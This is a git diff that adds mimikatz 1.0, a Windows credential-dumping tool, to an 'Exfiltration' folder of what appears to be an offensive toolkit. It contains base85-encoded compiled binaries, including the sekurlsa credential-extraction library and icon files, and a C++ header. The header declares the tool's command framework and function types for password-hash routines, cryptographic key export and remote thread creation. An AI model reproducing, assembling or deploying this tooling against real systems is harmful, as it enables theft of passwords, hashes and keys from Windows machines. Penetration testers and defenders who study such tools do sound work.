z@%}99tO=){{a$j)?c0CzVXpPr_vViM!`zg>li!`wGWVJ0r_42Zo7Rl79r-daCs03d zuK%;Q7X0Gz^Pk-E%Fp)A{Y#Z&%Kjh!!2D?B^m)4ndXZl7$Af=7sGcvz-#50~pP#Pa zzw_hg6s7!iTJ;YcJ$(N;e%G-f_Ulg0y7q-5e;Z#H-+$$#8zyb}!?PcaPkZKfrDe}| z`u(Vfo5m-O-7(?*_x`l*mDk@N|LT`t9>D8o*F-V%H8i+ckf*H`04%Qzq>m( z#hdxZo;!c^{P?#QytFRa@~fMEeR$pY0sZ%!-0@P%2wUL(@wWWgwGaF{cX^MO3&#KX zqv6$^cYb%()n8zWsdXb(L418v6E6 z4;|eX{g-FzyRk2Boa<;i&tb%I9t0n}a29HFAV%Ey0fn3@ODmY!;T&YX#LAoSJH*c@ z##d`RZD#*k)5kY7Fq4YaBFq}&zui`j$np^{Ru&8JS+Y`(I~4nj@dG5I{3-|?N2Y~i zMc>FUKRbSak?wqN@jpPcBYL>U|7&;*bJS7z%MIR9SRBUxYVl}McNA6y{Yp8681E=N z(tT+Ob{H>boad)yb$|n{RvKfB&xLgetX;L5I5*dho;8O}Aa*joc0>k^($Rzlhf%*CZ{O2vrxwxN5 z-O;SyuuRgwkNz0*JM4YyJ#b}?ClXIIemX|E$n9xx%fMo82xYdVuz}XRlx|(Z$a?p5#EE;_KP>XNkrXbVHPvxjUv3aW(mRz@EK!>OWpRz z`;>SC6Q2D z2Yx7})^7Z|LWaDBaU?hxA@9w(l*Dwt)NPc!m6!MX7-ij7CgdwgroDBTwi0NY{!E06 zfR^zVAw7q}nt*u^=n!`A1FP%x z*4$nF%-&M0pJTV)*naXOG$1`ZM6q>XBgPol@GvjKLrEEzYOBDfR@JpT-ymJw801{S z9W(si98yy5E@R?3ngG#`Y`mcq+yWAFgG`uuygkLv{?$wPp{;67B87 z)z_;+k@eI0{KrC%WNzcs8o;qpPEY0%IzO%yT znrCFfRS6jhlM`|hYzf~=_-Vp(38xc2OK3^xG@{#xtP!0P;}UO6Oi8>a@w3F1#Mq=> zNo7eZll~(q=Jw1x3h(GT$~)?4a{8FbDH~JzrT#p%F?G?{F5`NPGmjfJZqWF|@y_x0 zkAHmp@5iJ167vw3HQ@&dKOgb@h?)_5N7zR?N8Ug3^O1cL2PFPD@%E%|C9O%i?T+4~ zZXY#f)Lo-&qn3~Q;i#8Jog8)B=%mr(M$a9+c=VJpE5_WO@|Usijg1-?J8sOlnd9u^ z+~Zb^17TFmOv^(fR*$%Ac%{i(vmVWwIFp#>e19MQlrOqAKQQI+_9dq?~MIq zY{Iyy;}(wVI{wP>=h>*F$@Wg{OSp36_>s?z{Oic~M)pp;HL)nsoj5Ydk>pK!DCw!B z-y|JRdOyi}d(j;qj_NYnF?#jrk4OKX_O3Ussw!O{43(KEnPQYNE5;b5B3*l}wb$P3 z&t4mgioB#~*kD6RvB!ijhtW5}qn_YxvYzeWFYDvY_4eav z9V$lOBae6fz!KfLZk}81ZgjW0Z@BMy$NOb|g}>Hs@w@!7GEtr&PeHBEl%9M}_R1sj zD%GrBRDEhcUMpfI;2b5WL#4UPJYaSP05R$ZE2a z>>}@w3C?8aC(g^x?Q{{_%v#uH-pF@x&t2e_xgWV!oa{~ajCY;4%B%6#d%L}T-sfJN zf1vx4)3Il;w1&yt`R2r3UMgX*9**c3Db zP3X@D!63T)WpD(YO0W~`5A75?)t+u=T7h$)V=u6|_F{Xfy%Lx!vA5b+qGzuk^-Pn= zLh>dVBJs|2XNj}I`NBD#cGCmYvf1n|_9T0aeaeoo$$T0=m(SyWa-Wg^C0~)R%f0er zIU(7D`M?p)*C z0OfS*b>$`Nb-fgA_Hw4YWvq69G=b+Bc2p5F|(LVH#o*|J~@+kG$WBf#S zoBNr2jQF0IASQ}a#Way2m;iTXTg~ogkFaKTke$p=)UZ0}2d z8<_I0+%J<xt)+d7D1-8&Gwna8Bd@g(= zd<)%(i{_|^rI*pIw4csp*8kN-gVr-UEwYle-m@O60g(S zV=_GbC=H^}O0rz+AGwvtu*T8}i=c51DiCe_8VvKjM_jBKsvt)~Gm+#48 zxkK&M2XW?I(V3MR7nLf^`Eu68p2nQ%bzc^*i9d7wIB> zoxW99>RP=~->)Ci+w=>1M!-=2OM@$*ICE^Ct+8L=?EAw{!;vsT;&305NJNoYWDdzA zYstN&f&7*(6_}CrW-?B9esF8B zI(ReK2V_Mj$+7kac9NZDxwSUSUSb#7W%eptYHx-+T5Z?b_4Z!-pl!0PcDsGScG@oc zhJDMvXFsr?+413V;Sa;f;nZ+?I5Xs-4rhmR!v*1G;fk;_+!RJK<6_=zp;PE|(fh>v z-iUXCpY9WXv;VN1h*{DKzP_&afvG2fp~5UR#r9fzi@nV@V1oY`&lv)F7l(!6l5l0X zCfpJ>g*(I7!?(kO=t?9vE;AnQmQ!4}(D=B#seJMTH4I}$j(ny#V^ zw38mD-)BDi8M~a_z}B;EY$y8@JC0A{`TR<7WCg#SUmz|KSBN5U6;QiZ>=$v~>2Rtm z;R5dVp7yqR?|Xmq=KC3v%N)5(?vQ6gDX-Nl^eTO)zDK_ZuJ^$Y)|v6af*{r2X`Ahf zcDEh0GsE-4d0}x_3SV0lwuOHT_k@wcxahtlG66H7j66(UA}2!g)0_*OxlW$5)p^pX zrT5Tjv1&Yx+P?!|b6S*#C2_GmNFMnaxsv>xTt_yNF;22G4HIy-Q{Y_fR5<_XG&oN? zoz6Q>GF`{N;m5l3+!(xV?YeswiG<%Ni zU@xG;FSA|j4Yr%T115aH4zQ2dC+u_f75fGbdki1Pzt4~7C-8}UGCze+h5tB%&wy%i zp+uH=LbQqwaYUTxJ)-`q&e3@O`cbWWkSunNV1kcl8(Ahi%WOWEFM`6=@=bgnALLWr z>Fx}dxylXQ3*E<{NZaA+mS7T8tc@dXNs&Z|Sitg&8&nS?3yd3){ka z*giJIl6Z*Bb0c5lKI%R!tXJUO<{bcj(){c7QnMAxKE(!6?Q4&V{f*YiWHy~c=hKVn zB~bD!=u&zjCj55(8vmHbx#Qh_^s7c35|iM!(>>n{ygA;*c-Ey}v3CRJ>ME$lJ>LCZ zqxXcj-8&4fW%x6ctF$Usufvlp(7(`SdZXzL)>|9JQFk2f-;4X$I=Spk_7YyF!o6Jl z1rDO#d)RC7a{Xog7C#L$Hx<7hO&q!AGfdF2!4@Qr&x7lu*WMo&+t*N__HMqBZ$^T7 zh(F4=^2hm8{8?Q6^Sqb;nIGex=HB4mhd#XNM#NddhXR(0+r(NZ;Kg1Cv@Xg2k)P>b z=+B2|(eg66925Utxe#;mBhwW01Oq{woo{c5zUJ^KZ+__~niI?RH3uC_bu0b3D18g_*rM$d~~WqI^}ax(GBMdWI7J2dimT~F_&TWBMu?345l$ck^#ee_fM7dnz26MZeb?^%@OMqtoOx!;`i;ZAh~n;AoH2>-0JO&VV!Q z9C8w9B2A*nG=)x~sWgqI(+o-|r#>|_lV;IunnQDG0WGA9X%Q`^CA5^5VFFj+`f6z% z-9+o5b&a%zw$e7Bv;(@=1(Y75BQyd>)52O=HxSy(`dB|}G$aS5(i+3Y` z_VPa7kK8-Rhj~>#phc-7T@c_S zQ)G)=kuM6N#wDUmRER23BkDxGXcW!Rg?7;i&FU5XNVmgCp%E_ut{?@TAl)NiN2ZtU z<$C#Ep;rW_Q|488RZ#IduO9qp_FBDmxSwvX*X#ENyyc{cwaF02?TSZd2`xvj93NYB;q4Yjt;ZnE{5VvU%c&9(*e zv(2_62}CDox9zdLw$Jw40ZfJ=J8Tcx!*;|*!uT*DObnC4Yr{Is-})%#Gsi@_@bK?w zsial3`d={9M4SHwH{G;{_R>DM$^m%1p%{)1$B-1y60qS(#SSKldjjv{LjyD6pR?hC za#SJ_~Doy*&-)~pb}uGQq;z< z(+bpdVT;o*2E>qv_mY8_bT1=@m|S3Gu~!PLl*iCg51h0>n>vyBdf<{rfRQ9W*-ryP zGO%09@e80;C4Q-2?$`Paexu*&xB2aUCpJXG{vkhJCSZe+j1*&Jrp%UwvP71Cmt|^X zEplUv?2w(T117*CWTZ=vLj16fy|jjvy7qBNru_Bycwc z>`jIH$^>@{VtJ$jtgQlXYfPPKj%AY`(`))nzZt;xB0fmK&LS-^K_;?FG^dmY6+u-{ zA5(~qpfl(Sy0MQMjwP04n}RJx8rT!%O@53k)iG{FSMf?7b$uu93I`Nm5jl6^R>s+HUf3cfSTq(Nh@Mph^l5Qus#Tsr^Zkn#c~wCC9I59K*g(BJ!^+* zMtCaln*+R-A{Ev^L!-Jm#D{s3OWa(y1RJdyV6z*_HsYp0&7wM13YQgCuuY;tG>Mj& ze)Ry0Q6xsyYYNiL-?11~uL7WPRJ-cDrkG+y@t1~Vp9Sod`!z_-4gLU-mVm^Zj;ve= zd{rPTx5_S{svmhY4M_5Vp>k|%YLJq9kd6jb3NnMQGj$0PP>rtBop7y#dRV7I!!u2` zDMR<`kQlnr@nLh=q@&x}K`#1Si#|7^yFMWK;vN*=VGFkqQ zy+V|Wbzoz?Y``X}Nj8I*t+EX%HOkH|*&So&Aow|qP0wNM!y+nPC8$J|6yxg@_@lIc zu+|4}GgX$#Ryisc49-^ts_;7=mw?G-=tYI9L_eY&PS7dXRpk5=YfE&wt^i}(usi62 z_wLjGmuXvz-C~rZi9u439HazOVr)$hG6I4vqaWjK7P^^(e&&I}1wr9=`-T$i9Lr*C zt^}W}gTGJydh8z?v4Q;G=2a>t6h0Rg%P~+*W@ZWvapA&+ z3l}am?p*o}BGXtu0UOs^CyO*IxZ&8nF$=YvDDP+VLK4NzRphhw4H z0)Hz_%_^JHwV*1^GT}58Gc$S%g*vD)hagkr{0+)09VsQ=?M47p>g z(w4$$&ILqW(5M@>RkqbiYDF5tNlnz}W+#=_M7E?;Q;k&7t?ANAWiz;>t-P`$O~sJr zewxO>Q=Utbhf7h1P=ZRY6t&7QCTRJkpl60qqys1g%rk}>m1jU}75xY%sZJ>ww9_c+ zw85l@eMK3nSTED^vcqejx}{9WX|x79A5H`uLqJ^%F*(VwbB27_dcs#e0ja>MMtjY#rcjQyE{+ zV9Uanh%yb|B1#T^M3fo$8BuP)uZS`Was0IRb?;j@f$AWr%)yn2atm@{C7XeKM9D%i zqD;fHh?0Z7rh*gW>x_D8RCC@X#RS1quKHn9$+anW+Z4Jy{N{~=+uUrP!pGClJcTYA zzj?}gKg8Zs=!E^|DWCli`*@>fT2dUoV$f!@HhYC^MfK_bFADIMjYtgIhvKkpJSAus RQbIOiA!rX48ny`7;V*=gjn)7F literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib new file mode 100644 index 0000000000000000000000000000000000000000..cdcf2b53a096d64dd1c1b3d0e5ddbe9d1e65f713 GIT binary patch literal 4094 zcmcIm&2G~`5dM--N|W?Qlmj3E0U=Q&R7#tKf)HwHK~$s#B|$=5Ot9V5YHC+W+EXQ7 zfCoSbapWO5Ax@k)aNq$rA`ZL(%-Fm3uJc0zWu@`%jK}+VX203p^S5eEbL)2cYEEz0 z78d6Uh5X`NQMbY_#m{y=J3TgJEnu zE|oex@Itx-4%PdQHy#+P%hhH2#M#+3j9tgALp%dZ-EOZmZEL6I!cfQYxA*p3v+a0p zOLbF>fxqLLUfp%t9t>p|yxVkK%V>MsHqW6cAy&yVYmH^o^!D6#02H%?o|WZw1)P3d zH$;B6*|f!66*-RH-d%~!q8S3enq`%|y60BxR*MnoA14s-KKALLf`% zxoWq}rnAeL_Y<$`L-YE2#Oo;{_Qw(6=O{2U2E3jmJp)`J*3Q%T35~Pkzz>p76TnlF z1FDAaBnM=BOMX-sNFa%EOyC$sa1>J*!z9wkB7;#J>GLK$Ff*_CG$rjQ+ zOt!Enln7s`d5>177dvC?8_v>;q+M9Yl-Bv$QBXlKcch|&c3SvqjYnf8WHM^Ok{%1w zw`g=Fiyj&qw4m4^!%+h9L+HJ0$?a^`YBZSbf7-e8HzJ0Y5-Aj4t(7MdAa?pKF>Be+ z_v#lbfePHA!Aq%#ehE`|W*w{6u3eVmg_eBCjdUd!8T=Vr>6bEUP72magGgG$i36;TH~95S0`fQ9`2UiSQ7-}hA8$#EA0Pi>N?P*lLk5IC zg~-D8^ZXEvX9sQyjk_eO^!&RW;PBWoU$_>Y^QA=6XUlv4@Ax0ll`WS4DtahvS&&v{ z%R8xvp4sw$STM-S@=o3J(vVh}GDwxpFUp(Jv$U+TuY?e+bN9UUsj`Ah6|<46Ol?Y) z<)xkdzDPy%hnwF)a(b4K508rlnbI8JIk`eh3EsUJh4-(HONY8>P?bSeupe52(c))_ z3NSQUKD=k^v7M&Kl8mMvQ2&Nh5Ct8};weH(F%lg^^4QmahOU7^zB|$dLOP-&MQ5u9 zsVal4S^h?MM6T@-fv6tb>iif!KDjl +#include +#include +#include +#include +using namespace std; + +#define SECURITY_WIN32 +#define PAGE_SIZE 0x1000 +#define MAX_DOMAIN_LEN 24 +#define MAX_USERNAME_LEN 24 + +#define MIMIKATZ L"mimikatz" +#ifdef _M_X64 + #define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)" +#else ifdef + #define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)" +#endif + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) + +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) +#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) + +#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;} + +typedef bool (* PKIWI_LOCAL_COMMAND) (vector * arguments); + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND { + PKIWI_LOCAL_COMMAND ptrCommand; + wstring commandName; + wstring commandHelp; + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {} + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {} +} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND; + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE { + wstring module; + wstring description; + vector commandes; + _KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {} +} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE; + +typedef struct _CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef const ULONG CLONG; +typedef const UNICODE_STRING *PCUNICODE_STRING; +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +/* System* */ +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]); +/* CNG */ +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject); +typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer); +typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer); + +typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); +typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); + +/* Rtl* */ +#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart)) +typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId); +typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString); +typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); +typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString); +typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); +typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct); +typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize); +typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS; +typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico new file mode 100644 index 0000000000000000000000000000000000000000..9ac92da71353e94f488d9c25622e946bfde62c89 GIT binary patch literal 4286 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 L(7`ap4-EVp=BX{% literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico new file mode 100644 index 0000000000000000000000000000000000000000..79edffc346e0a9b3616d98787c49c2947b4f1d81 GIT binary patch literal 9662 zcmd6t2Ut{Ry2nZGZj@r&B*vITS7Q{Uml^5|9Rx**1uRj--bL)OqX^QJqBQA!C<6?= z_g;sgNtGgY0W~pho^1a2J)`Eyb(2kba_`>pdHK#cGiUgH@ArSpcSJ(sE&8XXCP6>v zN$?g*NX(RwkXS@Umn1fmG1p(eK9H7>VC?_uH8C+h-rLjtqFvPX{I^<1yXbjmNBi?m zk?0ri>1c0%F*-Ur{%6fYT3Y%ovcHf`A!A(&^7z((s|Pa^qu*rarpB-^H^mYQ zb6A?2(LKihavztY3rC0jVCMNp`H79;e4lJCnKGHKw6v5lnWeOpq_wn^)H*uevUA&( z@91~n&o*=Nhe+7^yZDK5D%ni3MP&M9tH^c|?@<|PsY}u_)2_)(`&;C+_h#^A-hD4k zTISu1-8;7Z^Ur2yzR$wU1dJZ(_*Y-V$mrrDGIcU5vK?e+q@||%$Vf}a$-Fm+BZ ze>-I!2U9-dykaJ91q(>2egR2kD@ZC4zpC~B3;x#voAL474S!ppJNC|8J>upPw=t$J zGdH@5q|r zuS(Ws8>TksKwI?v^pa*1KL!j&(0p)-gD7l5;??)=XvCu9mfSIrwMqO1fxLFSF%`zDF zR=}*k21|MxU?C(cuLV0Q0~ehyV)^pru(q~_hK2@KtXP5BvuFS8Tt5EzW6YX03va*u zHmt0y{>7N@p*R%Z`)m9f=4))GE--m2wbB9d;W6N}ltQbk44m$A=(HC?y)_4{mTags zq(Zwnla8~XP3IcSu_zCQG^gda8sO^YD&|L65kM zg~c$YHPCD4Bh5D=r-lSR9FN9Q3(u1r7-U(gRA>X|1-QpATKYEMT-{Uv(G-m+_`hbT4Q`Zefo4rN=p7X zx1ZyeQ8He&ASUE{rM4`{)g?f&HW@1QX;7*Yz@WJZ`b}j}tto_JWiA#~WkbC#A1XCD z&}}G$R(&2_ONU`o5p)|1ph0sn5SGHt(_QR;hLz9fBP1jQd3kwQw{D%-*Y57_;yDS0 zLMSLGfW=}#U0oe2Dk|c0IXOAZpFdw57cw$3zsN5&Pgg-cE_hO*GXo21Vxd@7fSSVM=gI&i5r!gA_q?J$d;-Flb32s#hCHe_Yx z#LUbZFw9JRzt+#pk3JID5GF6Zj)kA<=YY50G4*-@7S<*}p_T`=dg7qGqEN+yN^Kg9 z8O@i`y5uB6kGNR{Sy0GI1-l><%EYcH;K6{dX=kTFGdBa=qFiVcWse*;K2U<*tc&VcJJAZojZ46`}XbPb+NbK1UoxBY}~LB>({Txnl)>% zn&SKmiXRIL3tBgQnzJtK?KYsLx#@XiNVwK&KJUfCCgLD=6^6ei0eTH-(5_3vqOv5+ zEl7Y;u>kBM(o0SnbPKYvC^;S+V%16JK_f02`ssX_#l}NBDFN(+c&PE>pqeW{Sa>KV z9*p7c$l(95d!vJ3?C$6-@%ZxmE8Igt;|h7@Aw!>BPG+T?rP8uBZ}>Vm8UD3e}H%8S8{i-&$p zEMy%{LF)?DG#`Ixp1TZ-h#0VZuY>J=m9G0jH$Dz28R-ZP@IzqWwI3}g=sI584LbhO zg6a5%KW;E%FpbRT{I9{!+Y6p97vbr80Y09W;d=fQ660erJUnc-%-z$U-IPvwCJC&D 